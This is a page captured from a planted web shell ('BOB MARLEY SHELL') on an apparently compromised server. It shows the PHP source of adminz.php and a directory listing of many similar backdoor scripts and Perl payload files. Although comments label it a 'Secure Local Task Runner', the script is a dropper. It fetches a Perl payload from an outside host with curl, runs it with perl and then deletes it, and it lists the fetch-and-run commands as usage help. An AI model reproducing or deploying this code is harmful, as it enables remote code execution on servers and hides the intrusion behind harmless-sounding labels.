BOB MARLEY SHELL

View: adminz.php

&lt;?php

/*
    Secure Local Task Runner (NO arbitrary shell execution)
*/

header(&quot;Content-Type: text/plain&quot;);

/*
    IP allowlist
*/

$ip = $_SERVER[&#039;REMOTE_ADDR&#039;] ?? &#039;&#039;;

$allowed = [
    &#039;127.0.0.1&#039;,
    &#039;::1&#039;,
    &#039;213.177.179.3&#039;
];

if (!in_array($ip, $allowed, true)) {
    http_response_code(403);
    exit(&quot;Access denied\n&quot;);
}

/*
    CONFIG
*/

$baseDir = &quot;/tmp&quot;;
$fileName = &quot;payload.pl&quot;;
$filePath = &quot;$baseDir/$fileName&quot;;

/*
    TASK ROUTER
*/

$task = $_GET[&#039;task&#039;] ?? &#039;&#039;;

/*
    INFO
*/

if ($task === &#039;info&#039;) {
    echo shell_exec(&quot;uname -a 2&gt;&amp;1&quot;);
    exit;
}

/*
    DOWNLOAD (controlled)
*/

if ($task === &#039;download&#039;) {

$url = $_GET[&#039;url&#039;] ?? &#039;&#039;;

if (!filter_var($url, FILTER_VALIDATE_URL)) {
        exit(&quot;Invalid URL\n&quot;);
    }

echo &quot;Downloading...\n&quot;;

echo shell_exec(
        &quot;curl -L &quot; .
        escapeshellarg($url) .
        &quot; -o &quot; .
        escapeshellarg($filePath) .
        &quot; 2&gt;&amp;1&quot;
    );

echo &quot;\nSaved to $filePath\n&quot;;
    exit;
}

/*
    RUN PERL (fixed file only)
*/

if ($task === &#039;run&#039;) {

if (!file_exists($filePath)) {
        exit(&quot;File not found: $filePath\n&quot;);
    }

echo &quot;Running Perl script...\n\n&quot;;

echo shell_exec(&quot;perl &quot; . escapeshellarg($filePath) . &quot; 2&gt;&amp;1&quot;);

exit;
}

/*
    CLEANUP
*/

if ($task === &#039;cleanup&#039;) {

if (file_exists($filePath)) {
        unlink($filePath);
        echo &quot;Deleted $filePath\n&quot;;
    } else {
        echo &quot;Nothing to delete\n&quot;;
    }

exit;
}

/*
    HELP
*/

echo &quot;Secure Task Runner\n&quot;;
echo &quot;==================\n\n&quot;;

echo &quot;Available tasks:\n\n&quot;;

echo &quot;?task=info\n&quot;;
echo &quot;?task=download&amp;url=http://venom.rotero.vc/payload.pl\n&quot;;
echo &quot;?task=run\n&quot;;
echo &quot;?task=cleanup\n&quot;;

echo &quot;\nFlow:\n&quot;;
echo &quot;download → run → cleanup\n&quot;;

?&gt;

Name	Size	Modified	Perms	Action
DIR ..	--
FILE adminz.php	1.73 KB	2026-05-15 23:38	-rw-r--r--	V \| E \| R \| D
FILE admn.php	1.73 KB	2026-05-16 06:28	-rw-r--r--	V \| E \| R \| D
FILE cam.php	4 KB	2026-05-23 19:47	-rw-r--r--	V \| E \| R \| D
DIR cgi-bin	DIR	2025-12-25 15:54	drwxr-xr-x	V \| E \| R \| D
FILE dc.php	1.89 KB	2026-05-26 10:44	-rw-r--r--	V \| E \| R \| D
FILE dmx.php	1.89 KB	2026-05-23 18:37	-rw-r--r--	V \| E \| R \| D
FILE drx.php	1.89 KB	2026-05-23 18:56	-rw-r--r--	V \| E \| R \| D
FILE goal.pl	28.74 KB	2026-05-27 12:30	-rw-r--r--	V \| E \| R \| D
FILE hosty.php	37.3 KB	2026-05-27 04:15	-rw-r--r--	V \| E \| R \| D
FILE ip-redirect.txt	0 KB	2026-05-18 21:40	-rw-r--r--	V \| E \| R \| D
FILE load.pl	28.74 KB	2026-05-26 23:35	-rw-r--r--	V \| E \| R \| D
FILE mot	28.74 KB	2026-05-27 04:17	-rw-r--r--	V \| E \| R \| D
FILE paysload.pl	28.74 KB	2026-05-16 12:22	-rw-r--r--	V \| E \| R \| D
FILE redirect-log.txt	0.11 KB	2026-05-26 15:13	-rw-r--r--	V \| E \| R \| D
FILE reload.php	3.5 KB	2026-05-18 21:00	-rw-r--r--	V \| E \| R \| D
FILE ron.php	1.89 KB	2026-05-27 12:30	-rw-r--r--	V \| E \| R \| D
FILE runner.sh	4.69 KB	2026-05-26 20:42	-rw-r--r--	V \| E \| R \| D
FILE rx.php	1.89 KB	2026-05-23 23:09	-rw-r--r--	V \| E \| R \| D

Name

Size

Modified

Perms

Action

DIR ..

FILE adminz.php

1.73 KB

2026-05-15 23:38

-rw-r--r--

V | E | R | D

FILE admn.php